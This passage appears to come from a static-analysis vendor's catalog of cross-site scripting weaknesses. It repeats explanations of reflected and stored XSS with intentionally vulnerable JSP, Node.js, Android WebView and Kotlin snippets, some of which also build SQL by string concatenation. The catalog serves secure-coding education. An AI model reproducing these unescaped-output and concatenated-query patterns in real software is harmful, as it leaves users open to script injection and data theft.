As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker can execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack affects multiple users. XSS began in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As shown in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As shown in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker can perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.golang.cross_site_scripting_reflected
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following JSP code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


<% String eid = request.getParameter("eid"); %>
...
Employee ID: <%= eid %>


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following JSP code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


<%...
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery("select * from emp where id="+eid);
if (rs != null) {
rs.next();
String name = rs.getString("name");
}
%>

Employee Name: <%= name %>


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

Some think that in the mobile environment, classic web application vulnerabilities, such as cross-site scripting, do not make sense -- why would the user attack themself? However, keep in mind that the essence of mobile platforms is applications that are downloaded from various sources and run alongside each other on the same device. The likelihood of running a piece of malware next to a banking application is high, which necessitates expanding the attack surface of mobile applications to include inter-process communication.

Example 3: The following code enables JavaScript in Android's WebView (by default, JavaScript is disabled) and loads a page based on the value received from an Android intent.


...
WebView webview = (WebView) findViewById(R.id.webview);
webview.getSettings().setJavaScriptEnabled(true);
String url = this.getIntent().getExtras().getString("url");
webview.loadUrl(url);
...


If the value of url starts with javascript:, JavaScript code that follows executes within the context of the web page inside WebView.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- As in Example 3, a source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.

A number of modern web frameworks provide mechanisms to perform user input validation (including Struts and Struts 2). To highlight the unvalidated sources of input, Fortify Secure Coding Rulepacks dynamically re-prioritize the issues Fortify Static Code Analyzer reports by lowering their probability of exploit and providing pointers to the supporting evidence whenever the framework validation mechanism is in use. We refer to this feature as Context-Sensitive Ranking. To further assist the Fortify user with the auditing process, the Fortify Software Security Research group makes available the Data Validation project template that groups the issues into folders based on the validation mechanism applied to their source of input.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Tongbo Luo, Hao Hao, Wenliang Du, Yifei Wang, and Heng Yin Attacks on WebView in the Android System
[4] Erika Chin and David Wagner Bifocals: Analyzing WebView Vulnerabilities in Android Applications
[5] INJECT-3: XML and HTML generation requires care Oracle
[6] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[7] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[10] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[11] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[12] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[13] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[14] Standards Mapping - FIPS200 SI
[15] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[16] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[17] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[18] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[19] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[20] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[21] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[22] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[24] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[25] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[26] Standards Mapping - OWASP Top 10 2021 A03 Injection
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[33] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[34] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[35] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[36] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[37] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[38] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[39] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[40] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[41] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[42] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[61] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[62] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[63] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[64] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[65] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.java.cross_site_scripting_reflected
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following Node.js code segment reads an employee ID, eid, from an HTTP request and displays it to the user.


var http = require('http');
var url = require('url');

...

function listener(request, response){
var eid = url.parse(request.url, true)['query']['eid'];
if (eid !== undefined){
response.write('<p>Welcome, ' + eid + '!</p>');
}
...
}
...
http.createServer(listener).listen(8080);


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following Node.js code segment queries a database for an employee with a given ID and prints the corresponding employee's name.


var http = require('http');
...

function listener(request, response){
connection.query('SELECT * FROM emp WHERE eid="' + eid + '"', function(err, rows){
if (!err && rows.length > 0){
response.write('<p>Welcome, ' + rows[0].name + '!</p>');
}
...
});
...
}
...
http.createServer(listener).listen(8080);


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 79, CWE ID 80
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 079
[37] Standards Mapping - SANS Top 25 2010 Insecure Interaction - CWE ID 079
[38] Standards Mapping - SANS Top 25 2011 Insecure Interaction - CWE ID 079
[39] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[59] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[60] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[61] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[62] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.javascript.cross_site_scripting_reflected
Abstract
Sending unvalidated data to a web browser can result in the browser executing malicious code.
Explanation
Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following code reads an employee ID, eid, from an HTTP servlet request, then displays the value back to the user in the servlet's response.


val eid: String = request.getParameter("eid")
...
val out: ServletOutputStream = response.getOutputStream()
out.print("Employee ID: $eid")
...
out.close()
...


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

